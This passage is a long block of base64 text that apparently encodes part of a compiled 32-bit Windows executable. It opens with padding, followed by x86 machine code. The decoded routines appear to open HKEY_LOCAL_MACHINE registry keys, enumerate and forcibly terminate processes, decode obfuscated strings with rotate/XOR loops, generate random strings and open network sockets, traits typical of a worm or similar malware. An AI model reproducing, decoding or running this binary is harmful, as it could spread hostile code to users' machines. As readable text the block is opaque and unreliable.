AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFWL7IPsFItF EFNWM/ZXM9uJdeyJdfiJRfA7dRAPjW8BAACLRfBqA1o7wolV9H0DiUX0i030uD09PT2Nffxm q4XJqn4Vi0UIjX38A/CLwcHpAvOli8gjyvOkik38isHA6AKF24hF/3Qmi30Uhf9+J4vDi3UM K0X4mff/hdJ1G8YEMw1DxgQzCkODRfgC6wuLdQyLfRTrA4t1DA+2Rf+LFTDwQACA4QPA4QSK BBCIBDOKRf2K0EPA6gQCyoXbdCGF/34di8MrRfiZ9/+F0nUOxgQzDUPGBDMKQ4NF+AKKRf2L FTDwQAAkDw+2ycDgAooMEYgMM4pN/orRQ8DqBgLChduIRf90HoX/fhqLwytF+Jn3/4XSdQ7G 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 